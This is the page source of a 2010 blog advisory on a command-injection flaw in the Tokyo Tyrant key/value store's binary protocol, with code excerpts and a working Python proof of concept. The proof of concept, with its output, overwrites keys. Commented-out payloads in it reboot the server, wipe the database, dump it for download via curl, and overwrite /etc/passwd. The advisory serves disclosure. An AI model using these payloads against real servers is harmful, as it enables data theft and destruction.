LOBSTERTECHNOLOGIES
CSSPROPAGANDA

Source Code: tokyo_tyrant_security_vulnerability.xml

<!DOCTYPE html>
<html lang="en">

  <head>
    <!--# include file="design_head.html" -->
  </head>

  <body>

    <!--# include file="design_top.html" -->

    <nav id="compass">
      <ul>
        <li>
          <time><py>xpath('//article/time', 'lobsterblog.xml')[0]</py></time>
          <a href="lobsterblog.html"><py>xpath('//article/h1', 'lobsterblog.xml')[0].text</py></a>
        </li>
        <li>
          <a href="voice_changer.html"><py>xpath('//article/h1', 'voice_changer.xml')[0].text</py></a>
          <time><py>xpath('//article/time', 'voice_changer.xml')[0]</py></time>
        </li>
      </ul>
    </nav>

    <article>

      <h1>Tokyo Tyrant Protocol Vulnerability</h1>
      <time>August 13, 2010</time>

      <div class="toc">
        <h2 notoc="notoc">Table of Contents</h2>
        <toc/>
      </div>

      <h2>Synopsis</h2>
      <summary>
        <p>A remotely exploitable security flaw was discovered for
        Tokyo Tyrant (a distributed, persistent key/value store
        database.)  Tokyo Tyrant client connections are vulnerable to
        command-injection when values exceed 32 kilobytes in size,
        putting at risk any application or website that uses Tokyo
        Tyrant to store network data.  For example, someone could
        leave a comment on your blog that steals all your data,
        modifies database content, ejects your server's CDROM drive,
        and then proceed to destroy all the data and the server
        itself.</p>
      </summary>

      <h2>Impact</h2>

      <p>Applications using Tokyo Tyrant to store user submittable
      data might be vulnerable to the following attacks:</p>

      <ul>
        <li>Limited access to shell commands (any command but no
        arguments)</li>

        <li>Download an export of the entire database</li>

        <li>Overwrite files in host computer to which Tyrant has access.</li>

        <li>Delete the entire database</li>

        <li>Reprogram database to use a malicious host as the master
        node.</li>

        <li>Export a list of keys/values from entire database.
        (Data retreival attack is slightly more complex)</li>

        <li>Read/write arbitrary key values</li>

        <li>Corrupt transport stream to cause undefined behavior in application.</li>

        <li>An attacker can re-adjust stream alignment after injecting
        malicious frames thereby causing the application-side Tyrant
        socket remain functional.  This reduces the likelihood of an
        administrator noticing such attacks (with the exception of a
        log message.)  This attack is possible due to the inventive
        manner in which Tokyo Tyrant coalesces support for multiple
        protocols on a single socket (e.g. binary, memcached, http) as
        well as the presence of the <tt class="docutils
        literal">putnr()</tt> command which emits no response
        data.</li>

        <li>
          <div>
            Attackers can inject multiple commands and cause
            multiple responses to be queued in the application
            library.  Take for example a website implementing the
            following business logic:
          </div>

          <pre class="pig lobsterblog-syntax--python"><![CDATA[
            tyrant.put('unknown_key1', 'Whatevz: ' + form_input['field_with_evil_data'])
            return tyrant.get('unknown_key2')
          ]]></pre>

          <div>
            In the example above an attacker would be able to inject
            malicious data to perform the following <em>instead
            of</em> the intended PUT operation:
          </div>

          <pre class="pig lobsterblog-syntax--python">
            tyrant.put('arbitrary_key', 'extra evil data')
            tyrant.get('arbitrary_key')
          </pre>

          <div>
            The result of the malicious get operation would then be
            queued in the application receive socket and override
            the result of the innocent get() operation in the above
            app logic.
          </div>
        </li>

        <li>
          Libraries implementing the Tokyo Tyrant binary protocol
          contain no assertions to guard against this exploit:
          <ul>
            <li><a class="reference external" href="http://github.com/ericflo/pytyrant/blob/master/pytyrant.py#L555">pytyrant</a></li>
            <li><a class="reference external" href="http://github.com/actsasflinn/ruby-tokyotyrant/blob/master/ext/tokyo_tyrant_db.c#L3">ruby-tokyotyrant</a></li>
            <li><a class="reference external" href="http://openpear.org/repository/Net_TokyoTyrant/trunk/Net/TokyoTyrant.php">Net_TokyoTyrant</a></li>
          </ul>
        </li>

      </ul>

      <h2>Practical Considerations</h2>

      <ul class="simple">

        <li>Applications encoding data as compact JSON should be safe, so long
        as binary data and line feed characters are properly escaped.</li>

        <li>Applications communicating with Tokyo Tyrant using the
        HTTP or Memcached protocols <em>should</em> be safe from this
        vulnerability.  While the memcached interface appears to
        vulnerable, I was not able to find a way to make such an
        attack work.</li>

        <li>HTML forms that limit the length of a user's input or reject data
        which is improperly encoded <em>should</em> be safe.</li>

        <li>If access to COPY command is blocked, retreival of data generally
        requires some knowledge of the application using Tokyo Tyrant, and
        may not be applicable in all scenarios.</li>

      </ul>

        <h2>The Problem</h2>

        <p>Tokyo Tyrant does not &quot;store and forward&quot; protocol frames, but rather
        uses a <tt class="docutils literal">getchar()</tt> like interface for fetching stream data as
        needed:</p>

        <pre class="pig lobsterblog-syntax--c">
          /* handle a task and dispatch it */
          static void do_task(TTSOCK *sock, void *opq, TTREQ *req){
          TASKARG *arg = (TASKARG *)opq;
          int c = ttsockgetc(sock);
          int c2;
          if(c == TTMAGICNUM){
              c2 = ttsockgetc(sock);
        </pre>

        <p>Tokyo Tyrant ignores stream corruption errors without
        closing the TCP connection:</p>

        <pre class="pig lobsterblog-syntax--c">
          /* from do_task() @ ttserver.c */

          case TTCMDREPL:
              do_repl(sock, arg, req);
              break;
          default:
              ttservlog(g_serv, TTLOGINFO, &quot;unknown command&quot;);
              break;

          /* from do_put() @ ttserver.c */

          int ksiz = ttsockgetint32(sock);
          int vsiz = ttsockgetint32(sock);
          ttservlog(g_serv, TTLOGINFO, &quot;ksiz=%d, vsiz=%d&quot;, ksiz, vsiz);
          if(ttsockcheckend(sock) || ksiz &lt; 0 || ksiz &gt; MAXARGSIZ || vsiz &lt; 0 || vsiz &gt; MAXARGSIZ){
              ttservlog(g_serv, TTLOGINFO, &quot;do_put: invalid parameters&quot;);
              return;
          }
        </pre>

        <p>Tokyo Tyrant's line handling makes it easy for an attacker to instruct
        Tyrant to ignore certain data by injecting line feed characters:</p>

        <pre class="pig lobsterblog-syntax--c">
          /* from do_task() @ ttserver.c */

          if(c == TTMAGICNUM){
              [...]
          } else {
              ttsockungetc(sock, c);
              char *line = ttsockgets2(sock);
              ttservlog(g_serv, TTLOGINFO, &quot;c=0x%x line: %s&quot;, c, line);
              if(line){
                  [...]
              }
          }
        </pre>

        <h2>Proof of Concept</h2>

        <p>The script below demonstrates the feasability of such attacks:</p>

        <pre class="pig lobsterblog-syntax--python"><![CDATA[
          #!/usr/bin/env python
          #
          # tyrant-security.py
          #

          import sys
          import struct
          import pytyrant

          if __name__ == '__main__':
              # overwrite arbitrary key
              agony = "i'm in ur cloud, corrupting ur data"
              graffiti = "it wasn't me lol"
              filler = '.' * (32 * 1024 * 1024)
              evil_value = "".join([
                  # the value length being greater than 32KB causes the frame
                  # header to be consumed (for put() this is 10 bytes)
                  '\n', # this causes a readline call in ttserver.c:do_task() to
                        # consume the key name 'hello' so only the user-inputted
                        # value is left-over
                  struct.pack('>BBII', 0xc8, 0x10, len('love'), len(agony)),
                  'love', agony,
                  struct.pack('>BBII', 0xc8, 0x18, len('hello'), len(graffiti)),
                  'hello', graffiti,
                  struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)),
                  'filler', filler,
              ])

              tt = pytyrant.Tyrant.open('127.0.0.1', 1978)
              tt.put('love', 'i love you')
              print "Before Attack: love = %s" % (tt.get('love'))
              print "Executing PUT hello = %r... (malicious form input)" % (evil_value[:20])
              tt.put('hello', evil_value)
              print "After Attack: hello = %s" % (tt.get('hello'))
              print "After Attack: love = %s" % (tt.get('love'))

              # # eject the cdrom drive and reboot the server
              # evil_value = "".join([
              #     '\n',
              #     struct.pack('>BBI', 0xc8, 0x73, len('eject')), 'eject',
              #     struct.pack('>BBI', 0xc8, 0x73, len('reboot')), 'reboot',
              #     struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)),
              #     'filler', filler,
              # ])

              # # nuke entire database (vanish)
              # evil_value = "".join([
              #     '\n',
              #     struct.pack('>BB', 0xc8, 0x72),
              #     struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)),
              #     'filler', filler,
              # ])

              # # retrieve dump of database
              # evil_value = "".join([
              #     '\n',
              #     struct.pack('>BB', 0xc8, 0x73, len('/var/www/media/dbdump.tch')),
              #     '/var/www/media/dbdump.tch',
              #     struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)),
              #     'filler', filler,
              # ])
              # os.system('curl http://victim.com/media/dbdump.tch')

              # # nuke /etc/passwd
              # evil_value = "".join([
              #     '\n',
              #     struct.pack('>BBI', 0xc8, 0x73, len('/etc/passwd')),
              #     '/etc/passwd',
              #     struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)),
              #     'filler', filler,
              # ])
        ]]></pre>

        <p>Here is an example invocation:</p>

        <pre class="pig lobsterblog-syntax--console">
          jart@compy:~$ ttserver &amp;
          jart@compy:~$ python tyrant-security.py
          Before Attack: love = i love you
          Executing PUT hello = &quot;\n\xc8\x10\x00\x00\x00\x04\x00\x00\x00#lovei'm i&quot;... (malicious form input)
          After Attack: hello = it wasn't me lol
          After Attack: love = i'm in ur cloud, corrupting ur data
        </pre>

      <aside>
        <ul class="tabbies">
          <li><a href="tokyo_tyrant_security_vulnerability.xml.html">View Source</a></li>
        </ul>
      </aside>

    </article>

    <!--# include file="design_footer.html" -->

  </body>
</html>